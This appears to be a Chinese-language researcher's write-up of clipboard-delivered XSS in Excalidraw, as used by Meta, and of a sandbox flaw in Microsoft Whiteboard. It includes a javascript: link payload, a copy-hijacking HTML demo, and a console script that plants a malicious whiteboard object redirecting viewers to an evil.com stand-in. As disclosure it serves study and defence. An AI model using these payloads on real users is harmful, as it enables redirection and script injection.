在像Meta和Google这样强大的应用安全程序中找到边缘案例总是很有趣,因为它们通常已经解决了整个漏洞类别,如跨站脚本(XSS),这突显了应用安全策略中的潜在盲点。特别是,我仍然对剪贴板API着迷,它似乎避开了典型的静态分析工具,就像我在Zoom白板中发现的一个存储型XSS。以下是我如何在Excalidraw(用于Messenger和其他Meta资产)和微软白板中发现类似漏洞的。
从合作开始 🔗
有一天,teknogeek和nagli联系我合作研究一些Meta资产。特别是,teknogeek正在研究一个CodeQL默认规则发现的跨站脚本漏洞,该漏洞源于用户提供的值在Excalidraw中,这是一个Meta使用的开源协作白板。Excalidraw允许用户共享富文本、绘图、形状、图像和其他典型的白板功能。
该发现强调用户输入的来源是来自event.clipboardData:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
export const getSystemClipboard = async (
event: ClipboardEvent | null,
): Promise<string> => {
try {
const text = event
? event.clipboardData?.getData("text/plain")
: probablySupportsClipboardReadText &&
(await navigator.clipboard.readText());
return (text || "").trim();
} catch {
return "";
}
};
|
最终,这个剪贴板事件数据流入了loadHTMLImageElement中的image.src:
1
2
3
4
5
6
7
8
9
10
11
12
|
export const loadHTMLImageElement = (dataURL: DataURL) => {
return new Promise<HTMLImageElement>((resolve, reject) => {
const image = new Image();
image.onload = () => {
resolve(image);
};
image.onerror = (error) => {
reject(error);
};
image.src = dataURL;
});
};
|
不幸的是,这是一个误报,因为设置img标签的src属性只在较旧的浏览器版本中导致XSS,并且不再可利用。相关的CodeQL规则使用了CodeQL内置的html注入接收器列表,其中包括img.src。这就是为什么编写自己的CodeQL规则很有帮助。
无论如何,我的兴趣被激发了,因为我之前在Zoom白板中发现了一个类似的剪贴板相关XSS,所以我开始对Excalidraw进行一些手动代码审查,以找到其他有趣的接收器。最终,我在renderElementToSvg中找到了这个接收器:
1
2
3
4
5
6
7
|
// if the element has a link, create an anchor tag and make that the new root
if (element.link) {
const anchorTag = svgRoot.ownerDocument!.createElementNS(SVG_NS, "a");
anchorTag.setAttribute("href", element.link);
root.appendChild(anchorTag);
root = anchorTag;
}
|
这个接收器很有趣,因为它允许我设置锚标签的href属性,这通常可以通过像javascript:alert()这样的XSS载荷在点击链接时被利用。通过向后追踪,我最终发现来源确实是剪贴板API。基本上,用户可以直接将形状和其他富数据粘贴到Excalidraw白板中,包括XSS载荷。尝试通过典型的用户交互注入这个载荷被正确地清理了,所以唯一的方法是通过被污染的剪贴板。
转向动态分析 🔗
如果你深入研究剪贴板API,你会发现它很快变得非常复杂,因为开发人员在如何序列化HTML数据方面有很大的自由度。通过静态分析重新创建载荷可能非常痛苦,仅仅因为你需要做很多向后追踪。在这种情况下,动态检索典型的剪贴板序列化载荷实际上要容易得多。例如,当访问白板时,你可以在开发者控制台中输入以下代码来记录粘贴事件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
document.addEventListener('paste', function (event) {
// Access the clipboard data
const clipboardData = event.clipboardData || window.clipboardData;
// Log available types of data
console.log('Available types in clipboard:', clipboardData.types);
// Log text content if available
if (clipboardData.types.includes('text/plain')) {
const textContent = clipboardData.getData('text/plain');
console.log('Text content from clipboard:', textContent);
} else {
console.log('No plain text content found in clipboard.');
}
// Log HTML content if available
if (clipplaceData.types.includes('text/html')) {
const htmlContent = clipboardData.getData('text/html');
console.log('HTML content from clipboard:', htmlContent);
} else {
console.log('No HTML content found in clipboard.');
}
});
|
例如,在Excalidraw中复制和粘贴一个简单的矩形会给出以下纯文本内容:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
{
"type": "excalidraw/clipboard",
"elements": [
{
"type": "rectangle",
"version": 10,
"versionNonce": 963885420,
"isDeleted": false,
"id": "xg5zj5rTYtSdo1fsTwz8b",
"fillStyle": "solid",
"strokeWidth": 2,
"strokeStyle": "solid",
"roughness": 1,
"opacity": 100,
"angle": 0,
"x": 794,
"y": 1086,
"strokeColor": "#1e1e1e",
"backgroundColor": "transparent",
"width": 212,
"height": 90,
"seed": 1295957460,
"groupIds": [],
"frameId": null,
"roundness": {
"type": 3
},
"boundElements": [],
"updated": 1707040939966,
"link": null,
"locked": false
}
],
"files": {}
}
|
正如你可以想象的,这使得快速识别注入点比通过代码审查手动逆向工程要容易得多。这给了我一个“正确”的初始载荷,然后我可以修改它以通过链接值包含注入。
攻击向量是什么? 🔗
在这一点上,重要的是要注意,在某些情况下,根本不需要污染受害者的剪贴板。虽然剪贴板可能是XSS载荷的来源,但接收器实际上可能通过其他渠道加载这些数据,例如协作白板中的API获取。这类似于Zoom白板XSS,其中白板数据实际上是通过WebSocket发送的,只是它以一种如此复杂的方式序列化,以至于攻击者更容易简单地粘贴它,而不是制作一个正确序列化和时间戳的WebSocket请求。
在其他情况下,它可能更接近于自我XSS。虽然Meta上使用Excalidraw的其他一些资产具有完整的协作白板,允许攻击者远程利用其他白板用户,类似于Zoom白板,但Messenger本身的实现是不同的。在Messenger视频通话中,你可以创建一个Excalidraw白板,但它不是协作的 - Messenger只是将你正在工作的白板的视频流发送给通话中的其他人。无论是有意还是无意,这都是一个很好的深度防御措施,防止了简单的远程利用。这里唯一的攻击向量是如果受害者自己粘贴了一个被污染的载荷 - 但这怎么可能呢?
实际上,由于剪贴板API的灵活性,任何网站实际上都可以劫持复制事件并插入你可能意想不到的数据。虽然有一些保护措施,如要求用户交互,但仍然可以在用户不知情的情况下偷偷添加剪贴板数据。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hijacked Copy</title>
</head>
<body>
<input type="text" id="inputText" value="Original Text">
<button onclick="modifyAndCopy()">Copy Text</button>
<script>
function modifyAndCopy() {
// Create a temporary input element
const tempInput = document.createElement('input');
tempInput.value = "HAX";
// Append the input element to the DOM
document.body.appendChild(tempInput);
// Select and copy the content
tempInput.select();
document.execCommand('copy');
// Remove the temporary input element
document.body.removeChild(tempInput);
}
</script>
</body>
</html>
|
这样的“复制到剪贴板”按钮在动态Web应用程序中无处不在,并且对它们有很多隐含的信任。所以我想这里的教训是小心你复制的内容!
在微软白板中打破沙箱 🔗
虽然比在Meta域上弹出XSS稍微不那么令人满意,但微软白板漏洞也很有趣。像Excalidraw一样,白板具有许多典型对象,如形状、图像和文本。然而,审查白板的客户端代码揭示了一个隐藏的支持对象 - 微软白板实际上允许将iframe添加到白板中!这可能是为了动态内容,如YouTube视频,但也是可能XSS攻击的磁铁。
特别是,超链接对象接受一个iframe属性,该属性应该是一个字符串化的对象字面量,用于定义iframe。对象本身可以包括src和sandbox属性。幸运的是,微软白板正确地清理了src属性,否定了像<iframe src='javascript:alert()'>这样的典型载荷。然而,sandbox属性没有任何检查。
sandbox属性很有趣,因为它用于出于安全原因对iframe应用内容限制。例如,默认情况下,如果iframe具有sandbox属性,则iframe页面无法运行脚本,并且总是失败同源策略。这允许网站安全地嵌入来自其他来源的不受信任的内容。
然而,通过允许控制此属性,白板容易受到高度允许的沙箱策略的影响。特别是,allow-top-navigation沙箱值允许iframe网站中的脚本将父框架(即白板)重定向到任何其他URL。
再次,将这种被污染的超链接对象粘贴到白板中比直接通过API发送要容易得多。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
|
console.log('adding payload... make sure you click into Whiteboard window instead of console');
setTimeout(async function() {
const iframeData = {
height: 600,
width: 1200,
// this website runs top.window.location.replace('https://evil.com')
src: "<ATTACKER WEBSITE HERE>",
sandbox: ["allow-popups","allow-top-navigation","allow-scripts", "allow-top-navigation-to-custom-protocols", "allow-same-origin"]
}
const payload = {
boardItems:[{
position: {
x:1270.6017481963052,
y:983.5363104061
},
scale:1,
originPoint:{
x:1270.6017481963052,
y:967.5363104061
},
size:{},
rotation:0,
content:{
contentType:"hyperlink",
url:"https://evil.com",
title: "test",
iframe: JSON.stringify(iframeData),
description: "test",
altText: "HAX",
fontFamily:"sans-serif, Segoe UI",
fontWeight:"normal",
text:"zzzz",
textDecoration:[]
}
}],
anchorPosition:{
x:1270.6017481963052,
y:967.5363104061
},
};
const data = `<whiteboard-tag whiteboardcontent="${encodeURIComponent(JSON.stringify(payload))}"></whiteboard-tag>`
const blob = new Blob([data], {
type: "text/html"
});
await navigator.clipboard.write([
new ClipboardItem({
['text/html']: blob
}),
]);
console.log('payload added to clipboard!');
}, 2000);
|
观察白板对象数据的相当复杂的序列化。与用于Excalidraw的纯文本类型相比,微软白板对象是text/html类型,并使用自定义的<whiteboard-tag> HTML标签。同时,实际的白板对象内容被序列化为一个JSON字符串化和URL编码的字符串,传递给whiteboardcontent属性。正如我之前提到的,没有标准的方法来序列化富剪贴板内容,这就是为什么你在从代码中逆向工程这些时看到如此多的变化和繁琐。
一旦载荷被添加到白板中,任何访问白板的用户都会被自动重定向到攻击者的网站或通过javascript:alert()重定向触发JavaScript,即使这将在原始主机页面的上下文之外执行。
那么客户端重定向或XSS有什么危险? 🔗
微软白板不仅仅是一个Web应用程序 - 像许多现代应用程序一样,它也在桌面应用程序中呈现,如Windows Store AppX版本以及Microsoft Teams。从那里,可以转向桌面端漏洞或进入Microsoft Teams上下文。
不是你通常的XSS 🔗
随着简单的Web漏洞类别被安全编码应用安全策略根除,找到像Excalidraw和微软白板问题这样的边缘案例很有趣。在这两种情况下,我怀疑可能是由于相对罕见的接收器可能不会被静态分析工具拾取。此外,Excalidraw是一个第三方依赖项,可能已经超出了Meta的应用安全范围。在我这边,每当我看到富文本编辑器或白板时,我都会深入挖掘。